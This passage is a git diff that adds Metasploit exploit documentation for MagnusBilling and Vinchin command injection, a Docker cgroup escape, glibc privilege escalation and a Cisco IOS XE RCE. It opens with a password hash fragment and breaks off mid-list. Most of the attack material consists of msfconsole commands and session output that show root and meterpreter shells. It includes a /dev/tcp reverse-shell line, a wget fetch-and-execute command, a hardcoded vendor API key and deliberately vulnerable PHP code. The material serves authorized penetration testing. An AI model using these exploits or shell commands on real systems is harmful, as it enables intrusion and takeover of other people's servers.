$6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5t (TRUNCATED) Nonreplayable hash sha512,crypt + +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > +``` diff --git a/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md b/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md new file mode 100644 index 0000000000..b67604d1b9 --- /dev/null +++ b/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md @@ -0,0 +1,241 @@ +## Vulnerable Application +`MagnusBilling` is an open source tool written in `PHP` and `JAVASCRIPT`, aimed at IP telephony providers. +It provides a complete and powerful system for anyone to start an IP telephony provider. +Unfortunately a command injection vulnerability exists in `MagnusBilling` versions 6 and 7. +The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. +This is caused by a piece of demonstration code which is present in `lib/icepay/icepay.php`, with a call to `exec()` at line 753. +The parameter to `exec()` includes the `GET` parameter `democ`, which is controlled by the user. + +An unauthenticated user is able to execute arbitrary OS commands. +The commands run with the privileges of the web server process, typically `www-data` or `asterisk`. +At a minimum, this allows an attacker to compromise the billing system and its database. + +See this [attackerkb article](https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258) for more information. + +## Installation +This module has been tested on: +- Debian 12.2 running on VirtualBox 7 with MagnusBilling 7 installed. +- CentOS 7 running on VirtualBox 7 with MagnusBilling 6 installed. + +### Installation steps +* Install Debian 11 or later on VirtualBox. +* Follow these [instructions](https://linux.how2shout.com/install-debian-11-bullseye-on-virtualbox/). +* Login into Debian Linux machine. +* Switch to root with `su -` if needed. +* Follow the install instructions for either [MagnusBilling 7](https://github.com/magnussolution/magnusbilling7) or +[MagnusBilling 6](https://github.com/magnussolution/magnusbilling6) +* After successful installation, you can test the module with the verification steps listed at the **Verification** section. + +PS: If you have installed MagnusBilling 7, please update the `mbilling/lib/icepay/icepay.php` file at the web server root, +typically `/var/www/html`, by adding the vulnerable code below. +```php +if (isset($_GET['demo'])) { + + if ($_GET['demo'] == 1) { + exec("touch idepay_proccess.php"); + } else { + exec("rm -rf idepay_proccess.php"); + } +} +if (isset($_GET['democ'])) { + if (strlen($_GET['democ']) > 5) { + exec("touch " . $_GET['democ'] . '.txt'); + } else { + exec("rm -rf *.txt"); + } +} +``` + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258` +- [x] `set rhosts ` +- [x] `set rport ` +- [x] `set lhost ` +- [x] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>` +- [x] `exploit` + +you should get a `shell` or `Meterpreter` session. +```shell +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info + + Name: MagnusBilling application unauthenticated Remote Command Execution. + Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 + Platform: PHP, Unix, Linux + Arch: php, cmd, x64, x86 + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2023-06-26 + +Provided by: + h00die-gr3y + Eldstal + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics + /using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI /mbilling yes The MagnusBilling endpoint URL + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma + chine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + + When TARGET is 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + WEBSHELL no The name of the webshell with extension. Webshell name will be randomly generated if left + unset. + +Payload information: + +Description: + A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows + remote attackers to run arbitrary commands via unauthenticated HTTP request. + A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec(). + The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and + not properly sanitised/escaped. + After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. + The commands run with the privileges of the web server process, typically `www-data`. + At a minimum, this allows an attacker to compromise the billing system and its database. + + The following MagnusBilling applications are vulnerable: + - MagnusBilling application version 6 (all versions); + - MagnusBilling application up to version 7.x and including commit 7af21ed620; + +References: + https://nvd.nist.gov/vuln/detail/CVE-2023-30258 + https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258 + https://eldstal.se/advisories/230327-magnusbilling.html + + +View the full module info with the info -d command. +``` + +## Options +### TARGETURI +The uripath to the `MagnusBilling` web application. Default set is to `/mbilling`. +### WEBSHELL +You can use this option to set the filename and extension (should be .php) of the webshell. +This is handy if you want to test the webshell upload and execution with different file names. +to bypass any security settings on the Web and PHP server. + +## Scenarios +### MagnusBilling 7 on Debian 12.2 - PHP with payload php/meterpreter/reverse_tcp +```shell +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.34 +rhosts => 192.168.201.34 +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.34:80 can be exploited. +[*] Performing command injection test issuing a sleep command of 5 seconds. +[*] Elapsed time: 5.1 seconds. +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 192.168.201.34 +[+] Deleted LfsCVIttNL.php +[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.34:46230) at 2023-10-24 10:26:47 +0000 + +meterpreter > getuid +Server username: asterisk +meterpreter > sysinfo +Computer : debian +OS : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 +Meterpreter : php/linux +meterpreter > +``` +### MagnusBilling 7 on Debian 12.2 - Unix Command with payload cmd/unix/reverse_bash +```shell +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 1 +target => 1 +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.34:80 can be exploited. +[*] Performing command injection test issuing a sleep command of 2 seconds. +[*] Elapsed time: 2.1 seconds. +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing Unix Command for cmd/unix/reverse_bash +[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.34:46396) at 2023-10-24 17:09:45 +0000 + +uname -a +Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 GNU/Linux +id +uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk) +pwd +/var/www/html/mbilling/lib/icepay +``` +### MagnusBilling 7 on Debian 12.2 - Linux Dropper with payload linux/x64/meterpreter/reverse_tcp +```shell +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 2 +target => 2 +msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.34:80 can be exploited. +[*] Performing command injection test issuing a sleep command of 4 seconds. +[*] Elapsed time: 4.09 seconds. +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Using URL: http://192.168.201.8:8080/3X16QTzG27N +[*] Client 192.168.201.34 (Wget/1.21.3) requested /3X16QTzG27N +[*] Sending payload to 192.168.201.34 (Wget/1.21.3) +[*] Sending stage (3045380 bytes) to 192.168.201.34 +[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.34:55224) at 2023-10-24 17:12:05 +0000 +[*] Command Stager progress - 100.00% done (117/117 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.201.34 +OS : Debian 12.2 (Linux 6.1.0-13-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: asterisk +meterpreter > pwd +/var/www/html/mbilling/lib/icepay +meterpreter > +``` + +## Limitations +No limitations identified. diff --git a/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md b/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md new file mode 100644 index 0000000000..6f12b7f36b --- /dev/null +++ b/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md @@ -0,0 +1,170 @@ +## Vulnerable Application + +This module exploits a vulnerability in Vinchin Backup & Recovery versions 5.0.x, 6.0.x, 6.7.x, and 7.0.x. To prepare the environment: + +1. Download Vinchin Backup & Recovery version 5.0.x, 6.0.x, 6.7.x, or 7.0.x. +2. Install the software on a Linux-based server using the downloaded ISO. +3. During the installation, ensure that the network interface is active and configured. +4. After installation, verify that the Vinchin Backup & Recovery service is operational and accessible over the network. + +*Note: The module is designed to work with the specified versions. Functionality with other versions has not been confirmed.* + +## Verification Steps + +1. Install a vulnerable version of Vinchin Backup & Recovery (versions 5.0.x, 6.0.x, 6.7.x, or 7.0.x). +2. Start msfconsole in your Metasploit environment. +3. Do: `use exploit/linux/http/vinchin_backup_recovery_cmd_inject` +4. Set the RHOSTS to the target IP address or hostname. +5. Do: `run` +6. If the target is vulnerable, the exploit will execute the specified payload or command. + +## Options + +Here are the specific options for the `exploit/linux/http/vinchin_backup_recovery_cmd_inject` module: + +#### RHOSTS + +- **Description**: Specifies the target address or range of addresses. +- **Default Value**: None. It must be set by the user. + +#### RPORT + +- **Description**: The port on which the Vinchin Backup & Recovery service is running. +- **Default Value**: 443 (this is not configurable in the default Vinchin Backup & Recovery setup). + +#### SSL + +- **Description**: Specifies whether to use SSL for the connection. +- **Default Value**: True, as Vinchin typically runs over HTTPS. + +#### TARGETURI + +- **Description**: The base path to the Vinchin Backup & Recovery application. +- **Default Value**: `/` + +#### APIKEY + +- **Description**: The hardcoded API key required to authenticate to the API. +- **Default Value**: `6e24cc40bfdb6963c04a4f1983c8af71` + +## Scenarios + +### Successful Exploitation against Vinchin Backup & Recovery 7.0.1.26282 + +This scenario demonstrates exploiting the Vinchin Backup & Recovery version 7.0.1.26282 on a Linux server. + +**Environment**: +- Vinchin Backup & Recovery 7.0.1.26282 +- Linux Server +- Metasploit Framework + +**Steps**: + +1. Start `msfconsole`. +2. Load the exploit module: +``` +use exploit/linux/http/vinchin_backup_recovery_cmd_inject +``` +4. Set the required options: +``` +set RHOSTS [target IP] +set APIKEY [API Key] +``` +5. Optionally set a payload and configure LHOST and LPORT. +6. Execute the exploit: +``` +exploit +``` + +**Expected Output**: + +``` +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options + +Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + APIKEY 6e24cc40bfdb6963c04a4f1983c8 yes The hardcoded API key + af71 + Proxies no A proxy chain of format type:host:port[,type:host: + port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.co + m/docs/using-metasploit/basics/using-metasploit.ht + ml + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is rando + mly generated) + TARGETURI / yes The base path to the Vinchin Backup & Recovery app + lication + URIPATH no The URI to use for this exploit (default is random + ) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an + address on the local machine or 0.0.0.0 to listen on all address + es. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FT + P, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME JSSwiKfcOw no Name to use on remote system when storing pa + yload; cannot contain spaces. + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /usr/share/nginx/vinchin/ yes Remote writable dir to store payload; cannot + tmp contain spaces. + LHOST 192.168.1.5 yes The listen address (an interface may be spec + ified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3 +rhosts => 192.168.1.3 +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check + +[*] Detected Vinchin version: 7.0.1.26282 +[+] 192.168.1.3:443 - The target is vulnerable. +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit + +[*] Started reverse TCP handler on 192.168.1.5:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected Vinchin version: 7.0.1.26282 +[+] The target is vulnerable. +[*] Sending stage (3045380 bytes) to 192.168.1.3 +[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.3:58960) at 2023-11-21 02:00:57 +0100 + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +``` + +Note: All instances of this exploit can be subject to privilege escalation using the +`exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` module in the Metasploit environment. diff --git a/documentation/modules/exploit/linux/local/docker_cgroup_escape.md b/documentation/modules/exploit/linux/local/docker_cgroup_escape.md new file mode 100644 index 0000000000..8731f43127 --- /dev/null +++ b/documentation/modules/exploit/linux/local/docker_cgroup_escape.md @@ -0,0 +1,139 @@ +## Vulnerable Application + +This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. +If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system. + +A vulnerability was found in the Linux kernel's `cgroup_release_agent_write` in the `kernel/cgroup/cgroup-v1.c` function. +This flaw, under certain circumstances, allows the use of the cgroups v1 `release_agent` feature to escalate privileges +and bypass the namespace isolation unexpectedly. + +More simply put, cgroups v1 has a feature called `release_agent` that runs a program when a process in the cgroup terminates. +If `notify_on_release` is enabled, the kernel runs the `release_agent` binary as root. By editing the release_agent file, +an attacker can execute their own binary with elevated privileges, taking control of the system. However, the `release_agent` +file is owned by root, so only a user with root access can modify it. + +### Docker Setup + +`sudo docker run --rm -it --privileged ubuntu:20.04 bash` + +or + +`sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:20.04 bash` + +You may want to install `wget` to make initial exploitation easier as well: + +``` +apt-get update +apt-get install -y wget +``` + +## Verification Steps + +1. Install Docker and start a docker container +2. Start msfconsole +3. Get a shell on the docker image as root. +4. Do: `use exploit/linux/local/docker_cgroup_escape` +5. Do: `set lhost [ip]` +6. Do: `set session [#]` +7. Do: `run` +8. You should get a root shell on the host OS. + +## Options + +## Scenarios + +### Ubuntu 18.04 LTS with 4.15.0-96-generic kernel and Docker Ubuntu 20.04 + +Initial Access + +``` +resource (docker.rb)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (docker.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (docker.rb)> set srvport 8181 +srvport => 8181 +resource (docker.rb)> set target 7 +target => 7 +resource (docker.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (docker.rb)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using URL: http://1.1.1.1:8181/QZWpVr8t +[*] Server started. +[*] Run the following command on the target machine: +wget -qO dLFtachL --no-check-certificate http://1.1.1.1:8181/QZWpVr8t; chmod +x dLFtachL; ./dLFtachL& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60288) at 2023-11-28 13:38:39 -0500 + +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/) > getuid +Server username: root +(Meterpreter 1)(/) > sysinfo +Computer : 172.17.0.2 +OS : Ubuntu 20.04 (Linux 4.15.0-96-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +Exploit the Docker Escape + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/docker_cgroup_escape +[*] Using configured payload cmd/unix/reverse_bash +[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lport 9988 +lport => 9988 +[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set verbose true +verbose => true +[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > run + +[+] bash -c '0<&181-;exec 181<>/dev/tcp/1.1.1.1/9988;sh <&181 >&181 2>&181' +[*] Started reverse TCP handler on 1.1.1.1:9988 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Unable to determine host OS, this check method is unlikely to be accurate if the host isn't Ubuntu +[+] The target is vulnerable. IF host OS is Ubuntu, kernel version 4.15.0-96-generic is vulnerable +[*] Creating folder for mount: /tmp/eH7EY +[*] Creating directory /tmp/eH7EY +[*] /tmp/eH7EY created +[*] Mounting cgroup +[*] Creating folder in cgroup for exploitation: /tmp/eH7EY/qe0oj7G +[*] Creating directory /tmp/eH7EY/qe0oj7G +[*] /tmp/eH7EY/qe0oj7G created +[*] Enabling notify on release for group qe0oj7G +[*] Determining the host OS path for image +[*] Host OS path for image: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff +[*] Setting release_agent path to: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff/tmp/KksBaCbF +[*] Uploading payload to /tmp/KksBaCbF +[*] Writing '/tmp/KksBaCbF' (88 bytes) ... +[*] Triggering payload with command: sh -c "echo $$ > /tmp/eH7EY/qe0oj7G/cgroup.procs" +[*] Command shell session 2 opened (1.1.1.1:9988 -> 2.2.2.2:54990) at 2023-11-28 14:39:10 -0500 +[*] Cleanup: Unmounting /tmp/eH7EY + +FDjfSpoVnqvGmrtBOSRfABBgFMmcSkbT +id +uid=0(root) gid=0(root) groups=0(root) +cat /etc/os-release +NAME="Ubuntu" +VERSION="18.04 LTS (Bionic Beaver)" +ID=ubuntu +ID_LIKE=debian +PRETTY_NAME="Ubuntu 18.04 LTS" +VERSION_ID="18.04" +HOME_URL="https://www.ubuntu.com/" +SUPPORT_URL="https://help.ubuntu.com/" +BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" +PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" +VERSION_CODENAME=bionic +UBUNTU_CODENAME=bionic +``` diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md new file mode 100644 index 0000000000..ce27602914 --- /dev/null +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -0,0 +1,169 @@ +## Vulnerable Application + +A buffer overflow was exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment +variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when +launching binaries with SUID permission to execute code in the context of the root user. + +This module targets glibc packaged on Ubuntu and Debian. The specific versions this module targets are: + +Ubuntu: +2.35-0ubuntu3.4 > 2.35 +2.37-0ubuntu2.1 > 2.37 +2.38-1ubuntu6 > 2.38 + +Debian: +2.31-13-deb11u7 > 2.31 +2.36-9-deb12u3 > 2.36 + +Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 +however this module does not target them. + +### Description + +The GLIBC_TUNABLES environment variable is parsed in a loop and is expected to be provided in the following format: +`tunable1=aaa:tunable2=bbb`. If the variable is sent in the following format: `tunable1=tunable2=AAA` due to the +absence of the tunable delimiter `:` in the string, the value `tunable2=AAA` is handled incorrectly and results in a +buffer overflow. + +### Setup + +Install [Ubuntu 22.04.3](https://releases.ubuntu.com/jammy/ubuntu-22.04.3-desktop-amd64.iso) while ensuring the VM does +not have internet access. + +Once booted up, edit `/etc/apt/apt.conf.d/20auto-upgrades` and change `APT::Periodic::Unattended-Upgrade` from `1` to +`0` to ensure to ensure the machine doesn't patch itself. + +Ensure that glibc is at version 2.35-0ubuntu3.1 by running the following: +``` +msfuser@msfuser-virtual-machine:~$ ldd --version +ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35 +Copyright (C) 2022 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +Written by Roland McGrath and Ulrich Drepper. +``` +The target should be exploitable. + +## Verification Steps + +1. Start `msfconsole` +2. Get a session +3. Do: `use exploit/linux/local/glibc_tunables_priv_esc` +4. Do: `set SESSION [SESSION]` +5. Do: `check` +6. Do: `run` +7. You should get a new *root* session + +## Scenarios + +### Ubuntu 22.04.3 with 2.35-0ubuntu3.1 installed (ARCH_X64) +``` +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set session -1 +session => -1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +lport => 5555 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > options + +Module options (exploit/linux/local/glibc_tunables_priv_esc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPILE Auto yes Compile on target (Accepted: Auto, True, False) + SESSION -1 yes The session to run this module on + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + +msf6 exploit(linux/local/glibc_tunables_priv_esc) > run + +View the full module info with the info, or info -d command. + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable +[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit. +[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. +[*] Sending stage (3045380 bytes) to 192.168.123.228 +[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.228:33016) at 2023-12-19 10:53:09 -0500 + +meterpreter >getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.123.228 +OS : Ubuntu 22.04 (Linux 6.2.0-35-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > + +``` + +### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64) +``` +msf6 exploit(linux/local/glibc_tunables_priv_esc) > options + +Module options (exploit/linux/local/glibc_tunables_priv_esc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION -1 yes The session to run this module on + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +lport => 5555 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/local/glibc_tunables_priv_esc) > run + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. The glibc version (2.36-9+deb12u1) found on the target appears to be vulnerable +[+] The Build ID for ld.so: a99db3715218b641780b04323e4ae5953d68a927 is in the list of supported Build IDs for the exploit. +[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes. +[*] Sending stage (3045380 bytes) to 192.168.123.229 +[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.229:50370) at 2023-12-19 12:21:34 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : debian.test.com +OS : Debian 12.1 (Linux 6.1.0-10-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md b/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md new file mode 100644 index 0000000000..fe71934379 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md @@ -0,0 +1,398 @@ +## Vulnerable Application +This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE +devices which have the Web UI exposed. An attacker can execute a payload with root privileges. + +The vulnerable IOS XE versions are: +16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, +16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, +16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, +16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, +16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, +16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, +16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, +16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, +16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, +16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, +16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, +16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, +16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, +17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, +17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, +17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, +17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, +17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, +17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, +17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, +17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 